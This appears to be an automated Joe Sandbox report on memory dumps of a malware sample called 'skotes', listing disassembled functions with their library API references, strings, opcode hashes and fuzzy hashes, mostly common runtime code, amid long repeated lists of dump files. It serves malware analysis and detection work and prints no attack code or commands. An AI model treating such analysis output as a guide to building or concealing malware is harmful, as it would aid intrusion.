Associated: 00000008.00000002.3390165657.0000000001166000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390165657.0000000001171000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390286976.00000000011A0000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390344154.00000000011A1000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390397211.00000000011A2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390458612.00000000011A7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390525464.00000000011A9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390590424.00000000011B7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390648722.00000000011B8000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_ea0000_skotes.jbxd

Yara matches

Similarity

API ID: _wcsrchr
String ID: .bat$.cmd$.com$.exe
API String ID: 1752292252-4019086052
Opcode ID: e30ebf268f9b9adbd238baf251411fbcc9c8350ee78df9cb8dd90e014c3632d4
Instruction ID: 94a4a149824c35c9b10ec3b44a249ed3e4ef4f941cdbf2f933ff7049373c1832
Opcode Fuzzy Hash: e30ebf268f9b9adbd238baf251411fbcc9c8350ee78df9cb8dd90e014c3632d4
Instruction Fuzzy Hash: A2012227718B2A25672512199D02B7A53D8DBC2BB8B26202FFD94FB3C1FF54DC4361A0

Function 00EBFA71 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 66COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 00EBFB06

Strings

GetCurrentProcessorNumberEx, xrefs: 00EBFABE
kernel32.dll, xrefs: 00EBFA7A
SetThreadGroupAffinity, xrefs: 00EBFA87
GetThreadGroupAffinity, xrefs: 00EBFA93

Memory Dump Source

Source File: 00000008.00000002.3386628637.0000000000EA1000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00EA0000, based on PE: true

Associated: 00000008.00000002.3386582788.0000000000EA0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386628637.0000000000F02000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386816761.0000000000F09000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386886227.0000000000F0B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386998006.0000000000F17000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387528327.000000000106F000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387587897.0000000001071000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387649686.0000000001086000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387708749.0000000001087000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387767955.000000000108A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387767955.0000000001091000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387865997.000000000109D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387927085.000000000109E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387982785.00000000010A5000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388040375.00000000010A6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388097586.00000000010AD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388133592.00000000010AE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388194351.00000000010B1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388252892.00000000010B3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388321169.00000000010C4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388380029.00000000010C5000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388439993.00000000010CD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388498010.00000000010D8000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388570957.00000000010F2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388634033.00000000010F3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388694498.00000000010FB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388757058.0000000001101000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388818279.0000000001102000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388881566.0000000001104000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388941431.0000000001105000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389012901.0000000001108000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389068964.0000000001111000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389126048.0000000001113000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389184667.0000000001114000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389248325.0000000001117000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389310442.0000000001118000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389380312.000000000111E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389453577.0000000001126000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389519163.000000000112A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389557298.000000000112B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389647105.000000000112C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389712345.000000000112D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389778893.0000000001133000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389909379.0000000001142000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389971282.0000000001143000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390067837.0000000001164000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390165657.0000000001166000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390165657.0000000001171000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390286976.00000000011A0000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390344154.00000000011A1000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390397211.00000000011A2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390458612.00000000011A7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390525464.00000000011A9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390590424.00000000011B7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390648722.00000000011B8000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_ea0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error
String ID: GetCurrentProcessorNumberEx$GetThreadGroupAffinity$SetThreadGroupAffinity$kernel32.dll
API String ID: 348560076-465693683
Opcode ID: be487ea69a4934e2a014df368327f80e0d05c244e34c0e3f96dea0e582525452
Instruction ID: dfaee5403dc4f69aa0b105b173d513b152a9665431db47121463c5fde67b75c4
Opcode Fuzzy Hash: be487ea69a4934e2a014df368327f80e0d05c244e34c0e3f96dea0e582525452
Instruction Fuzzy Hash: 6801F522A4131DADA720B6B96C87EFB35DC9942B48F21397BF541F2181EEA5EC015660

Function 00ED2097 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 65COMMON

Download Yara Rule

APIs

StructuredWorkStealingQueue.LIBCMT ref: 00ED20B7

Part of subcall function 00ECCAF3: Mailbox.LIBCMT ref: 00ECCB2D

Concurrency::details::WorkItem::WorkItem.LIBCMT ref: 00ED20C8
StructuredWorkStealingQueue.LIBCMT ref: 00ED20FE
Concurrency::details::WorkItem::WorkItem.LIBCMT ref: 00ED210F

Strings

e, xrefs: 00ED20D9

Memory Dump Source

Source File: 00000008.00000002.3386628637.0000000000EA1000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00EA0000, based on PE: true

Associated: 00000008.00000002.3386582788.0000000000EA0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386628637.0000000000F02000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386816761.0000000000F09000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386886227.0000000000F0B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386998006.0000000000F17000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387528327.000000000106F000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387587897.0000000001071000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387649686.0000000001086000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387708749.0000000001087000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387767955.000000000108A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387767955.0000000001091000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387865997.000000000109D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387927085.000000000109E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387982785.00000000010A5000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388040375.00000000010A6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388097586.00000000010AD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388133592.00000000010AE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388194351.00000000010B1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388252892.00000000010B3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388321169.00000000010C4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388380029.00000000010C5000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388439993.00000000010CD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388498010.00000000010D8000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388570957.00000000010F2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388634033.00000000010F3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388694498.00000000010FB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388757058.0000000001101000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388818279.0000000001102000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388881566.0000000001104000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388941431.0000000001105000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389012901.0000000001108000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389068964.0000000001111000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389126048.0000000001113000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389184667.0000000001114000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389248325.0000000001117000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389310442.0000000001118000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389380312.000000000111E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389453577.0000000001126000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389519163.000000000112A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389557298.000000000112B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389647105.000000000112C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389712345.000000000112D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389778893.0000000001133000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389909379.0000000001142000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389971282.0000000001143000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390067837.0000000001164000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390165657.0000000001166000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390165657.0000000001171000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390286976.00000000011A0000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390344154.00000000011A1000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390397211.00000000011A2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390458612.00000000011A7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390525464.00000000011A9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390590424.00000000011B7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390648722.00000000011B8000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_ea0000_skotes.jbxd

Yara matches

Similarity

API ID: Work$Concurrency::details::ItemItem::QueueStealingStructured$Mailbox
String ID: e
API String ID: 1411586358-4024072794
Opcode ID: 1b6716c63c17d6c6149872910042524b7f9ebb3f5e3c7538eb01a51a2faaeb53
Instruction ID: e38075f285b99202afc361da4d2570cbb135b72e8f64ee1b0f5ed195520571e8
Opcode Fuzzy Hash: 1b6716c63c17d6c6149872910042524b7f9ebb3f5e3c7538eb01a51a2faaeb53
Instruction Fuzzy Hash: 1A119431201105ABDB15DE69C985BAA73A4EF25368B24E15FFE06BF302DB71D903CB91

Function 00EBD029 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 59COMMON

Download Yara Rule

APIs

___scrt_fastfail.LIBCMT ref: 00EBD0A5

Strings

WakeAllConditionVariable, xrefs: 00EBD069
kernel32.dll, xrefs: 00EBD04C
SleepConditionVariableCS, xrefs: 00EBD05D
api-ms-win-core-synch-l1-2-0.dll, xrefs: 00EBD03B

Memory Dump Source

Source File: 00000008.00000002.3386628637.0000000000EA1000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00EA0000, based on PE: true

Associated: 00000008.00000002.3386582788.0000000000EA0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386628637.0000000000F02000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386816761.0000000000F09000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386886227.0000000000F0B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386998006.0000000000F17000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387528327.000000000106F000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387587897.0000000001071000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387649686.0000000001086000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387708749.0000000001087000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387767955.000000000108A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387767955.0000000001091000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387865997.000000000109D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387927085.000000000109E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387982785.00000000010A5000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388040375.00000000010A6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388097586.00000000010AD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388133592.00000000010AE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388194351.00000000010B1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388252892.00000000010B3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388321169.00000000010C4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388380029.00000000010C5000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388439993.00000000010CD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388498010.00000000010D8000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388570957.00000000010F2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388634033.00000000010F3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388694498.00000000010FB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388757058.0000000001101000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388818279.0000000001102000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388881566.0000000001104000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388941431.0000000001105000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389012901.0000000001108000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389068964.0000000001111000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389126048.0000000001113000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389184667.0000000001114000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389248325.0000000001117000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389310442.0000000001118000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389380312.000000000111E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389453577.0000000001126000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389519163.000000000112A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389557298.000000000112B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389647105.000000000112C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389712345.000000000112D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389778893.0000000001133000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389909379.0000000001142000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389971282.0000000001143000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390067837.0000000001164000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390165657.0000000001166000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390165657.0000000001171000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390286976.00000000011A0000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390344154.00000000011A1000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390397211.00000000011A2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390458612.00000000011A7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390525464.00000000011A9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390590424.00000000011B7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390648722.00000000011B8000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_ea0000_skotes.jbxd

Yara matches

Similarity

API ID: ___scrt_fastfail
String ID: SleepConditionVariableCS$WakeAllConditionVariable$api-ms-win-core-synch-l1-2-0.dll$kernel32.dll
API String ID: 2964418898-3242537097
Opcode ID: 7d86e1c79d30af69f8fac56fb9d96d4ac45a56d0cee4b274ed69e88ec793455f
Instruction ID: 2ad749f69ef1dd3ca7f539838f91ae75f5eab0fc7733c924180049afdc611c0b
Opcode Fuzzy Hash: 7d86e1c79d30af69f8fac56fb9d96d4ac45a56d0cee4b274ed69e88ec793455f
Instruction Fuzzy Hash: 3401F721AC671EE9FA3177B55C44EAB21CD8B82F4CF052594A904F3180EAD0DC017DB1

Function 00EE4C14 Relevance: 7.7, APIs: 5, Instructions: 199COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 00EE4C98
__alloca_probe_16.LIBCMT ref: 00EE4D5E
__freea.LIBCMT ref: 00EE4DCA

Part of subcall function 00EDB04B: RtlAllocateHeap.NTDLL(00000000,948A6F40,?,?,00EBD3FC,948A6F40,?,00EB7A8B,?,?,?,?,?,?,00EA7465,?), ref: 00EDB07E

__freea.LIBCMT ref: 00EE4DD3
__freea.LIBCMT ref: 00EE4DF6

Memory Dump Source

Source File: 00000008.00000002.3386628637.0000000000EA1000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00EA0000, based on PE: true

Associated: 00000008.00000002.3386582788.0000000000EA0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386628637.0000000000F02000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386816761.0000000000F09000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386886227.0000000000F0B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386998006.0000000000F17000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387528327.000000000106F000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387587897.0000000001071000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387649686.0000000001086000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387708749.0000000001087000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387767955.000000000108A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387767955.0000000001091000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387865997.000000000109D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387927085.000000000109E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387982785.00000000010A5000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388040375.00000000010A6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388097586.00000000010AD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388133592.00000000010AE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388194351.00000000010B1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388252892.00000000010B3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388321169.00000000010C4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388380029.00000000010C5000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388439993.00000000010CD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388498010.00000000010D8000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388570957.00000000010F2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388634033.00000000010F3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388694498.00000000010FB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388757058.0000000001101000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388818279.0000000001102000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388881566.0000000001104000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388941431.0000000001105000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389012901.0000000001108000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389068964.0000000001111000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389126048.0000000001113000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389184667.0000000001114000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389248325.0000000001117000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389310442.0000000001118000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389380312.000000000111E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389453577.0000000001126000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389519163.000000000112A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389557298.000000000112B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389647105.000000000112C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389712345.000000000112D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389778893.0000000001133000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389909379.0000000001142000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389971282.0000000001143000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390067837.0000000001164000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390165657.0000000001166000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390165657.0000000001171000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390286976.00000000011A0000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390344154.00000000011A1000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390397211.00000000011A2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390458612.00000000011A7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390525464.00000000011A9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390590424.00000000011B7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390648722.00000000011B8000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_ea0000_skotes.jbxd

Yara matches

Similarity

API ID: __freea$__alloca_probe_16$AllocateHeap
String ID:
API String ID: 1423051803-0
Opcode ID: 51d27b7ac5d55495446a60ed3d2ae3eb97076fbcc4a1fd0d1f94c1c3e63daeb6
Instruction ID: 3ab9797b905da0ceb271c61c21bfd0d3426db20134455e7a4ba0a86a09682824
Opcode Fuzzy Hash: 51d27b7ac5d55495446a60ed3d2ae3eb97076fbcc4a1fd0d1f94c1c3e63daeb6
Instruction Fuzzy Hash: F751F7B260025EAFEB219F66DC41EBB77E9DF84754F251629FD04B7280EB30DC1196A0

Function 00ECE8DD Relevance: 7.6, APIs: 5, Instructions: 117COMMON

Download Yara Rule

APIs

Concurrency::location::_Assign.LIBCMT ref: 00ECE91E
Concurrency::details::ScheduleGroupSegmentBase::AddRunnableContext.LIBCONCRT ref: 00ECE926
Concurrency::details::ContextBase::TraceContextEvent.LIBCMT ref: 00ECE950
